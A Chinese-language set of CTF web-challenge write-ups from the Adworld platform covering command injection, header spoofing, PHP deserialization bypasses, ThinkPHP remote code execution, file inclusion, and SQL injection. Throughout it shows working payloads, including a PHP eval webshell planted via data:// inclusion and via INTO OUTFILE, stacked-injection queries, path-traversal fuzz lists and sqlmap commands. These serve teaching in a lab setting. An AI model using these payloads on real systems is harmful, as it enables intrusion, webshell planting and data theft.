攻防世界-WEB相关writeup 1.backup 2.command_execution-网页执行cmd命令 3.题目为xff_referer,描述信息 unserialize3-PHP反序列化 Web_php_unserialize-PHP反序列化 web-php_rce(ThinkPHP远程代码执行)-ThinkPHP漏洞 Web_php_include-考察的是文件包含-大小写,伪协议 supersqli-SQL注入-堆叠注入爆FLAG,预处理、修改表名、使用handler ics-06-通过brup爆破id数获得flag warmup-文件包含+目录穿越的漏洞,构造Request为>=4就可以文件穿越 NewsCenter-SQL注入,通过联合查询,SQLMAP配合BP注入 NaNNaNNaNNaN-Batman-浏览器console执行min命令得到flag web2-根据php代码提示进行反解密 PHP2-PHPS,dirsearch使用,双此url编码绕过
题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
打开题目是php网站,php的备份有两种:*.php~和*.php.bak,
如果网站存在备份文件,在地址栏最末加上/index.php~或/index.php.bak,即可得到备份文件,打开*.php.bak下载文件,打开得到flag
2.command_execution-网页执行cmd命令
题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
[原理]
| 的作用为将前一个命令的结果传递给后一个命令作为输入
&&的作用是前一条命令执行成功时,才执行后一条命令
[目地]
掌握命令拼接的方法
[步骤]
1.打开浏览器,在文本框内输入127.0.0.1 | find / -name "flag.txt" (将 | 替换成 & 或 && 都可以),查找flag所在位置,如图所示。
2.找到flag位置后,在文本框内输入 127.0.0.1 | cat /home/flag.txt 可得到flag,如图所示。
3.题目为xff_referer,描述信息
根据描述信息,知道题目应该与xff和referer相关
进入题目,看到
于是用brup抓包,在http头加一条X-Forwarded-For: 123.123.123.123
发送请求
在响应中看到必须来自谷歌
于是再次增加一条Referer: https://www.google.com
再次发送请求,在响应中得到flag!
关于xff和referer
xff
维基百科:
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
简单地说,xff是告诉服务器当前请求者的最终ip的http请求头字段
通常可以直接通过修改http头中的X-Forwarded-For字段来仿造请求的最终ip
维基百科:
HTTP来源地址(referer,或HTTPreferer)
是HTTP表头的一个字段,用来表示从哪儿链接到当前的网页,采用的格式是URL。换句话说,借着HTTP来源地址,当前的网页可以检查访客从哪里而来,这也常被用来对付伪造的跨网站请求。
简单的讲,referer就是告诉服务器当前访问者是从哪个url地址跳转到自己的,跟xff一样,referer也可直接修改
unserialize3-PHP反序列化
打开题目显示代码:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
代码中含有wakeup(),所以改题目和序列化有关,若有sleep(),则题目与反序列化有关,
__wakeup 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
所以猜测被反序列化了
但是可以看到这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化
利用php中的new运算符,实例化类xctf
new 是申请空间的操作符,一般用于类
比如定义了一个 class a{public i=0;}
$c = new a(); 相当于定义了一个基于a类的对象,这时候 $c->i 就是0
写一段代码执行
<?php
class xctf{ //类
public $flag = '111';//public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
}//少了一个}
$a=new xctf();
echo(serialize($a));
?>
运行结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
如果直接传参给code会被__wakeup()函数再次序列化,所以要绕过他
利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
序列化返回的字符串格式
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
- 1
O:表示序列化的事对象
< length>:表示序列化的类名称长度
< class name>:表示序列化的类的名称
< n >:表示被序列化的对象的属性个数
< field name 1>:属性名
< field value 1>:属性值
所以要修改属性值< n >,既把1改为2以上
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
传参给code得到flag
http://220.249.52.133:49945/?code=O:4:%22xctf%22:2:{s:4:%22flag%22;s:3:%22111%22;
Web_php_unserialize-PHP反序列化
1 <?php 2 class Demo { 3 private $file = 'index.php'; 4 public function __construct($file) { 5 $this->file = $file; 6 } 7 function __destruct() { 8 echo @highlight_file($this->file, true); 9 } 10 function __wakeup() { 11 if ($this->file != 'index.php') { 12 //the secret is in the fl4g.php 13 $this->file = 'index.php'; 14 } 15 } 16 } 17 if (isset($_GET['var'])) { 18 $var = base64_decode($_GET['var']); 19 if (preg_match('/[oc]:d+:/i', $var)) { 20 die('stop hacking!'); 21 } else { 22 @unserialize($var); 23 } 24 } else { 25 highlight_file("index.php"); 26 } 27 ?>
审计完成之后,思路就很清晰了,对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了
在类Demo中有三个方法,一个构造,一个析构,还有就是一个魔术方法,构造函数__construct()在程序执行开始的时候对变量进行赋初值。析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。
在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。
<?php
class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
$this->file = $file;
//$this->file1 = $file1;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo("fl4g.php");
echo serialize($a)."
";
//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
echo base64_encode('O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}');
修改之后,再进行base64加密,传参就可以了,得到flag
web-php_rce(ThinkPHP远程代码执行)-ThinkPHP漏洞
这是一个远程代码执行漏洞,先学习vulhub复现这个漏洞的过程:
输入:http://your-ip:8080/index.php?s=/Index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,可执行phpinfo:
可以执行phpinfo,那可不可以执行其他命令呢?查了一下网上的payload,如下:
输入:http://your-ip:8080/index.php?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
返回:www-data www-data
再回到CTF的这道题,应该考的就是这个命令执行的漏洞:
输出:成功执行phpinfo
再执行ls命令查看当前目录
返回如下,再把index.php和router.php打开看了一下,木有发现flag,再把request和response也检查了下,也木有flag。。
再逐级查看上级目录,最终看到一个名为flag的文件:
查看一下flag的内容:
成功找到flag
看了其他人写WP,有更方便的查找文件的linux命令:find / -name "*flag*" (linux命令硬伤来了 ...>_<....)
返回:
比我一级一级的找省事多了。。
Web_php_include-考察的是文件包含-大小写,伪协议
1 <?php 2 show_source(__FILE__); 3 echo $_GET['hello']; 4 $page=$_GET['page']; 5 while (strstr($page, "php://")) { //strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。 6 $page=str_replace("php://", "", $page); //page中带有php://的都会被替换成空 7 } 8 include($page); 9 ?>
打开页面是这样一段代码从代码中得知page中带有php://的都会被替换成空
str_replace()以其他字符替换字符串中的一些字符(区分大小写)
strstr() 查找字符串首次出现的位置。返回字符串剩余部分
分析代码可知程序过滤掉了page=参数传入php://
第一种方法(大小写绕过)
大小写绕过由于strstr()这个函数是区分大小写的所以我们可以转换成大小写用PHP://input
Post传输恶意代码 ,<?php system("ls")?>
第二种方法(data://伪协议执行命令利用)
既然过滤了php://的伪协议 我们可以使用其他协议来做这里使用data://伪协议
data://伪协议
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
<?php system("dir")?> base64编码后使用
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b (注意编码后的+号要URL编码)
<?php system("cat fl4gisisish3r3.php")?> base64编码后使用
查看源码得到flag
第三种方法(data://伪协议传木马)
<?php eval($_POST[xiaohua]); ?> base64加密后拼接
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
菜刀连接即可:
第四种方法(数据库写入马)
御剑扫描获得phpmyadmin root 密码空 进入
数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写
SHOW VARIABLES LIKE "secure_file_priv"
linux默认tmp是可写目录 试试写入一句话马 菜刀连接
SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'
supersqli-SQL注入-堆叠注入爆FLAG,预处理、修改表名、使用handler
方法一:堆叠注入爆FLAG
1.输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了
2.order by 2的时候是正常回显了,order by 3就出错了,只有2个字段,这时候用union select进行联合查询,发现关键字被正则过滤
3.尝试堆叠注入
-1';show tables --+
4.查看字段,
-1';show columns from `1919810931114514` --+
-1';show columns from `words` --+
5.查看值,需要绕过select的限制,我们可以使用预编译的方式
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt; #
6.这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。
-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
方法二:修改表名
1.由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:
select * from words where id = '';
2.我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
修改表名(将表名user改为users)alter table user rename to users;
修改列名(将字段名username改为name)alter table users change uesrname name varchar(30);
3.最终payload如下:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下:
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
4.然后使用1' or 1=1#即可查询出flag
方法三:使用handler
使用handler查询,payload如下:
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
ics-06-通过brup爆破id数获得flag
CyberEarth-2017 : cetc-06
原理
暴力破解
目的
掌握暴力破解手段
环境
windows
工具
firefox、burp
步骤
1.查看题目,发现id参数只能是数字
2.使用burp进行整数暴力破解,选择位置为id参数的值,有效载荷选择整数类型
3.攻击后查看响应包,发现id为2333时,响应包长度不同,可获取flag
总结
warmup-文件包含+目录穿越的漏洞,构造Request为>=4就可以文件穿越
打开网站查看源码,发现http://220.249.52.133:36688/source.php,打开
代码审计:
1 <?php 2 highlight_file(__FILE__);//highlight_file() 函数对文件进行语法高亮显示。 3 class emmm 4 { 5 public static function checkFile(&$page)//创建函数,&是引用,影响原值 6 { 7 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//=>是给数组内成员赋值函数 8 if (! isset($page) || !is_string($page)) { //$page是否为空,是否为字符串,||表示一个不为空即可 9 echo "you can't see it"; 10 return false; 11 } 12 13 if (in_array($page, $whitelist)) {//in_array() 函数搜索数组中是否存在指定的值,//$page是否在数组里 14 return true; 15 } 16 17 $_page = mb_substr(//取字符串的一部分,从第零个位置到mbmb_strpos()返回的位置取出$page中间的字符 18 $page, 19 0, 20 mb_strpos($page . '?', '?')//返回字符在字符串中首次出现的位置 21 ); 22 if (in_array($_page, $whitelist)) {//$page是否whitelist数组中 23 return true; 24 } 25 26 $_page = urldecode($page);//url解码 27 $_page = mb_substr( 28 $_page, 29 0, 30 mb_strpos($_page . '?', '?')//mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置,$_page . '?'是被检查的,'?'是要搜索的字符串。 31 ); 32 if (in_array($_page, $whitelist)) {//$_page是否数组中 33 return true; 34 } 35 echo "you can't see it"; 36 return false; 37 } 38 } 39 40 if (! empty($_REQUEST['file'])//是否为空 41 && is_string($_REQUEST['file'])//是否是字符串 42 && emmm::checkFile($_REQUEST['file'])//进入函数,request()是浏览器窗口里的 43 ) { 44 include $_REQUEST['file'];/满足条件后包含'file' 45 exit; 46 } else { 47 echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />"; 48 } 49 ?>
从上面的代码中可以看出对传入的REQUEST
参数file经过层层筛选,当file进入函数checkFile
后,可以看出,如果file在数组中,则会返回True,进而include包含file,大致猜出这是一个包含漏洞,但是韩式没有头绪。看到checkFile
的变量:$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
看到还有一个hint.php
。由于REQUEST
的参数包含GET
方法传递的参数,所以直接GET
传file,在url结尾加?file=hint.php
,看到返回的页面提示flag not here, and flag in ffffllllaaaagggg
,到这里我想了好久,还是不明白。觉得checkFike里的后俩判断很可疑,但不知如何利用,于是问了度娘,得知:
phpmyadmin4.8.1远程文件包含漏洞 CVE-2018-12613
这是一个文件包含+目录穿越的漏洞,于是剩下就是构造url了,而url怎么构造呢?
看checkFile的源码可以看出,
if (! isset($page) || !is_string($page)) { //0.$page是否为空,是否为字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //1.$page是否在数组里
return true;
}
这两次判断是做不了手脚了,即使返回True,也只能包含$whitelist里的两个文件,于是往下看。
法1:
$_page = mb_substr( //取字符串的一部分
$page,
0,
mb_strpos($page . '?', '?') //返回字符在字符串中首次出现的位置
);
if (in_array($_page, $whitelist)) { //$page是否数组中
return true;
}
可以看出,$_page
是我们需要的,也可以被利用,我们大致构造一个?file=hint.php?/..//ffffllllaaaagggg
(大致是这个样,具体还需要测试),进而既能满足函数的判断,也能使目标文件被包含。达到目的。
同理,继续往下看
法2:
$_page = urldecode($page); //url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //$page是否数组中
return true;
}
发现, $_page
又进行一次解码,本身服务器会进行一次解码,然后可以看出可上一个同理,只不过需要经过两次url编码,所以构造 大致构造一个?file=hint.php%253f/..//ffffllllaaaagggg
,进而达到目的。
但是不知道ffffllllaaaagggg文件在哪,可以写一个小脚本,跑着试一下/../../../../../../../../ffffllllaaaagggg
,也即是尝试找ffffllllaaaagggg
文件的路径,脚本后期再补。
整体就是这样,两种方法都可,主要要看那个漏洞的,这个题就是那个漏洞的变换,换汤不换药。
补充:本来想着用脚本试flag的路径,然后想了想,还是用burpsuit一把fuzz比较好用,截图如下:
txt如下
hint.php?/../ffffllllaaaagggg
hint.php?/../../ffffllllaaaagggg
hint.php?/../../../ffffllllaaaagggg
hint.php?/../../../../ffffllllaaaagggg
hint.php?/../../../../../ffffllllaaaagggg
hint.php?/../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../../../../ffffllllaaaagggg
用bp跑过的结果:
于是就跑出来了,但是发下一个问题,就是目录穿越的时候,只要../
的个数大于等于实际的,就会返回要包含的文件,正如上图里面,Request为>=4都会返回我们想要的结果,不明白为什么??希望会的解答一下。
NewsCenter-SQL注入,通过联合查询,SQLMAP配合BP注入
方法一:手动注入
首先用 ' and 0 union select 1,2,3 #
来初步判断该sql查询返回三列数据
然后用 ' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #
得到表名,很明显我们需要得到 secret_table
表中的内容
再用 ' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#
得到 secret_table
表的列名以及数据类型
最后就可以简单粗暴地得到flag' and 0 union select 1,2,fl4g from secret_table #
尽管这一题用sqlmap也很好做,但是如果学习的话,还是自己手操一遍比较好
方法二:SQLMAP
使用bp抓包,将结果转入sqlmap,然后使用命令爆破
爆数据库:http://220.249.52.133:47375/" --data="search=Hello" --cookie="commodity_id=^"2^|1:0^|10:1598968964^|12:commodity_id^|4:MzQ=^|d705a7cc7dac94b751ff4ede49cc3f31f0ae379270d041497d812208f7b57ec2^"" –dbs
爆表名;sqlmap -u "http://220.249.52.133:47375/" --data="search=Hello" --cookie="commodity_id=^"2^|1:0^|10:1598968964^|12:commodity_id^|4:MzQ=^|d705a7cc7dac94b751ff4ede49cc3f31f0ae379270d041497d812208f7b57ec2^"" -D –tables
爆字段:sqlmap -u "http://220.249.52.133:47375/" --data="search=Hello" --cookie="commodity_id=^"2^|1:0^|10:1598968964^|12:commodity_id^|4:MzQ=^|d705a7cc7dac94b751ff4ede49cc3f31f0ae379270d041497d812208f7b57ec2^"" -D news -T secret_table –columns
爆字段数据:sqlmap -u "http://220.249.52.133:47375/" --data="search=Hello" --cookie="commodity_id=^"2^|1:0^|10:1598968964^|12:commodity_id^|4:MzQ=^|d705a7cc7dac94b751ff4ede49cc3f31f0ae379270d041497d812208f7b57ec2^"" -D news -T secret_table -C fl4g –dump
得到flag:
+--------------------------+
| fl4g |
+--------------------------+
| QCTF{sq1_inJec7ion_ezzz} |
+--------------------------+
NaNNaNNaNNaN-Batman-浏览器console执行min命令得到flag
下载文件,内容是这样的:
脚本语言,是html文件,修改后缀用浏览器打开得到:
是一个输入框,看来我们要先弄清楚这个文件的代码才行,审计代码可以看到最开始的下划线“_”是一个变量,其内容是一个函数的代码,而最后又是一个eval(_),也就是执行这个函数了,我们把eval改为alert,让程序弹框,得到了源码的非乱码形式:
把得到的代码整理一下就是:
-
function $(){
-
var e=document.getElementById("c").value;
-
if(e.length==16)
-
if(e.match(/^be0f23/)!=null)
-
if(e.match(/233ac/)!=null)
-
if(e.match(/e98aa$/)!=null)
-
if(e.match(/c7be9/)!=null){
-
var t=["fl","s_a","i","e}"];
-
var n=["a","_h0l","n"];
-
var r=["g{","e","_0"];
-
var i=["it'","_","n"];
-
var s=[t,n,r,i];
-
for(var o=0;o<13;++o){
-
document.write(s[o%4][0]);s[o%4].splice(0,1)
-
}
-
}
-
}
-
document.write('<input ><button onclick=$()>Ok</button>');
-
delete
不用根据这些个变量和document.write去算flag,拿到flag有两种方法:
1)满足正则
首先,满足length==16,正则的话^为开始符号,$为结尾符号,拼接一下:be0f233ac7be98aa,输入就拿到flag了。
2)将下面这段拿到控制台执行一下即可:
-
var t=["fl","s_a","i","e}"];
-
var n=["a","_h0l","n"];
-
var r=["g{","e","_0"];
-
var i=["it'","_","n"];
-
var s=[t,n,r,i];
-
for(var o=0;o<13;++o){
-
document.write(s[o%4][0]);s[o%4].splice(0,1)
-
}
-
}
flag{it's_a_h0le_in_0ne}
web2-根据php代码提示进行反解密
打开网站发现代码,进行代码审计:
1 <?php 2 $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";//定义一个变量 3 4 function encode($str){ 5 $_o=strrev($str);//将$str翻过来赋给$_o 6 // echo $_o; 7 8 for($_0=0;$_0<strlen($_o);$_0++){ 9 10 $_c=substr($_o,$_0,1);//substr — 返回字符串的子串 11 $__=ord($_c)+1;//ord() 函数返回字符串的首个字符的 ASCII 值。 12 $_c=chr($__);//chr() 函数从指定的 ASCII 值返回字符。 13 $_=$_.$_c; 14 } 15 return str_rot13(strrev(base64_encode($_)));//先base64加密-反转字符串-rot13编码 16 } 17 highlight_file(__FILE__); 18 /* 19 逆向加密算法,解密$miwen就是flag 20 */ 21 ?>
1 <?php 2 3 $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; 4 5 6 7 function decode($str){ 8 9 $_o=str_rot13($str); 10 11 // echo $_o; 12 13 $_o=strrev($_o); 14 15 $_o=base64_decode($_o); 16 17 for($_0=0;$_0<strlen($_o);$_0++){ 18 19 20 21 $_c=substr($_o,$_0,1); 22 23 $__=ord($_c)-1; 24 25 $_c=chr($__); 26 27 $_=$_.$_c; 28 29 } 30 31 return strrev($_); 32 33 } 34 35 36 37 highlight_file(__FILE__); 38 39 /* 40 41 逆向加密算法,解密$miwen就是flag 42 43 */ 44 45 echo decode($miwen) 46 47 ?>
PHP2-PHPS,dirsearch使用,双此url编码绕过
1、===:称为等同符,当两边值的类型相同时,直接比较值,若类型不相同,直接返回false;
2、==:称为等值符,当等号两边的类型相同时,直接比较值是否相等,若不相同,则先转化为类型相同的值,再进行比较;
(1)首先我们用dirsearch.py进行网站目录搜索
(2)我们发现有个index.php,我们访问一下,没有结果...
那么我们看看能否看看该网页php地源码,这里用到了.phps
.phps后缀释义:
phps文件就是php的源代码文件。
通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替
(3)于是我们访问index.phps,看到下图所示:
好的,接下来我们来分析可以获得key值即flag值的核心源码
第一步:观察源码
not allowed!
"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "
Access granted!
"; echo "
Key: xxxxxxx
"; } ?> Can you anthenticate to this website?
第二步:我们需构造id=admin
,浏览自动对id值进行一次解码,结果还是admin
$_GET[id]=urldecode(admin);//这里的admin是浏览器对id值自动进行一次解码后的值
if("admin"=="admin")
即$_GET[id]="admin";
if("admin"=="admin")//true
这样就OK了,我们来测试一下:
嗯?这是为什么呢?难道后端代码对admin字符进行了过滤?不让传admin字符?
ctrl+U看到完整php代码是:
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
先尝试了0==admin
返回true,但是失败了,看来可能只能admin==admin
才能输出flag?,但又要不满足"admin"===$_GET[id]
,该如何?
行吧,那我们尝试一下对admin进行url编码吧
第三步:再次构造payload
注意:浏览器在上传数据时,会对参数值进行一次解码(与php代码无关,是浏览器自身会解码一次)
admin第一次url编码:%61%64%6D%69%6E
我们url传参时:
$_GET[id]=urldecode(admin);//这里的admin是浏览器对id值自动进行一次解码后的值
if($_GET[id]=="admin")
即
$_GET[id]="admin";
if("admin" == "admin")//true
由上面分析的代码可以知道,%61%64%6D%69%6E经过浏览器的一次自动解码,变成admin,之后又当作id的值传入代码中,经过urldecode,admin还是admin,服务器后端依旧会过滤admin
第四步:因此,我们需要二次编码,浏览自动对id值进行一次解码,结果id在传输过程中变为id=%61%64%6D%69%6E
admin二次编码值:%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
$_GET[id]=urldecode(%61%64%6D%69%6E);//这里的%61%64%6D%69%6E是浏览器对id值自动进行一次解码后的值
if($_GET[id]=="admin")
即
$_GET[id]="admin";//这里的admin是php代码中urldecode函数对%61%64%6D%69%6E进行解码的结果
if("admin" == "admin")//true
这样,%61%64%6D%69%6E
就不会被过滤了
(6)最后:我们访问
http://111.198.29.45:41202/?id=%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
注:下图中原本是输入的%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
,因为浏览器自动一次解码变成了%61%64%6D%69%6E
注:此题%2561dmin也可以,一次解码后为%61,二次解码后为a。
%2561=%25%36%31,也可以看出,解码只会解%后面的两位数,其它数值没有%不解码